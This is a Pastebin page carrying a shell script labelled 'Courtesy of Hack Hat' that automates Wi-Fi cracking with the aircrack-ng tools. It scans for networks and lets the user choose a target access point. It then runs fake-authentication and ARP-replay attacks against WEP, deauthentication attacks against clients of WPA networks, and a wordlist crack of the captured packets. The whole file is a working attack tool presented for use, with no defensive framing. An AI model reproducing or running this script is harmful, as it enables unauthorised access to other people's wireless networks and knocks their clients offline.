Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #/bin/sh
- # Colors for the output such as errors
- red=`echo -e "\033[31m"`
- blue=`echo -e "\033[36m"`
- yellow=`echo -e "\033[33m"`
- normal=`echo -e "\033[m"`
- # check
- [ -x /pentest/exploits/set/src/wireless/airmon-ng ] || (echo airmon-ng not found or executable && exit 1)
- [ -x /usr/local/sbin/aireplay-ng ] || (echo aireplay-ng not found or executable && exit 1)
- [ -x /usr/local/bin/aircrack-ng ] || (echo aircrack-ng not found or executable && exit 1)
- # vars
- TIMESTAMP=$(date +"%Y%m%d%H%M%S")
- INTERFACE=$(airmon-ng | grep ^mon | cut -b1-4)
- [ -z $INTERFACE ] && INTERFACE=$(airmon-ng start wlan0 | grep mon.\)$ | cut -b 30-33)
- [ -z $INTERFACE ] && (echo interface not selectable && exit 1)
- TMP=/tmp/aircrack-$TIMESTAMP
- # log
- echo TIMESTAMP: $TIMESTAMP >$TIMESTAMP.log
- echo INTERFACE: $INTERFACE >>$TIMESTAMP.log
- # get ap
- while :
- do
- clear
- echo "$blue _ _ _ _ _ _ "
- echo "$blue | | | | __ _ ___| | __ | | | | __ _| |_ "
- echo "$blue | |_| |/ _\` |/ __| |/ / | |_| |/ _\` | __|"
- echo "$blue | _ | (_| | (__| < | _ | (_| | |_ "
- echo "$blue |_| |_|\__,_|\___|_|\_\ |_| |_|\__,_|\__|"
- echo " ";
- echo "$yellow Courtesy of Hack Hat,$normal";
- echo " ";
- echo " ";
- echo "Select which encrytion you are wanting to hack"
- echo " 1) WEP"
- echo " 2) WPA"
- echo " 3) WPA2"
- echo " 4) Bluetooth"
- echo " "
- echo "$red 0) Exit$normal"
- echo " "
- read opt
- case $opt in
- 1)
- clear
- echo "$blue press ctrl+c to stop the scan once you have found your target$normal"
- echo " ";
- echo "$yellow To find a target press Enter...$normal"
- read enterkey;
- airodump-ng --write $TIMESTAMP $INTERFACE
- echo -e "#,BSSID,ENCRYPTION,ESSID" >$TMP
- grep -ah -e WPA -e WEP $TIMESTAMP-[0123456789][0123456789].csv | grep -n "" | sed "s|^\([0-9]\+\):|\1,|" | cut -d, -f1,2,7,15 | sed "s|, \+|,|g" >>$TMP
- # select ap
- while [ -z $BSSID ]; do
- clear
- echo "$blue"
- column -ts, $TMP
- echo "$normal"
- read -p "$yellow please select an access point: $normal" RES
- BSSID=$(grep "^$RES," $TMP | cut -d, -f2)
- CHANNEL=$(grep "^$BSSID" $TIMESTAMP-*.csv | cut -d, -f4)
- ENCRYPTION=$(grep "^$BSSID" $TIMESTAMP-*.csv | cut -d, -f6)
- done
- # log
- echo BSSID: $BSSID >>$TIMESTAMP.log
- echo CHANNEL: $CHANNEL >>$TIMESTAMP.log
- echo ENCRYPTION: $ENCRYPTION >>$TIMESTAMP.log
- # start capture
- xterm -e airodump-ng --bssid $BSSID --channel $CHANNEL --write $TIMESTAMP $INTERFACE >/dev/null 2>&1 &
- # reqest action
- while [ true ]; do
- echo -e "#,CLIENT" >$TMP
- grep -ah ", $BSSID," $TIMESTAMP-[0123456789][0123456789].csv | sort -u | grep -n "" | sed "s|^\([0-9]\+\):|\1,|" | cut -d, -f1,2 >>$TMP
- clear
- column -ts, $TMP
- echo
- echo "1-* : Attack All"
- echo "0 : Crack Password"
- echo "Enter: Refresh"
- echo
- read -p "In order to crack the target the $blue'Data'$normal column on the popup screen should be at least $blue'10000'$normal
- If this is going up slowly, attack a client. or attack them all.$red-Make sure to close the 'attack target popup before continueing'
- $yellow Please select an action:$normal" RES
- CLIENT=$(grep "^$RES," $TMP | cut -d, -f2)
- # crack
- [[ $RES == 0 ]] && (xterm -e "aircrack-ng -b $BSSID -w /home/andreas/aircrack/wordlist.txt *.cap; read" >/dev/null 2>&1 &)
- # attack
- if [ $CLIENT ]; then
- if [ $ENCRYPTION == WEP ]; then
- xterm -e aireplay-ng --fakeauth 0 -a $BSSID -h $CLIENT $INTERFACE >/dev/null 2>&1
- xterm -e "aireplay-ng --arpreplay -b $BSSID -h $CLIENT $INTERFACE; read" >/dev/null 2>&1
- elif [[ $ENCRYPTION == WPA* ]]; then
- xterm -e "aireplay-ng --deauth 5 -a $BSSID -c $CLIENT $INTERFACE; read" >/dev/null 2>&1
- fi
- fi
- done
- read enterkey;;
- esac
- done
Add Comment
Please, Sign In to add comment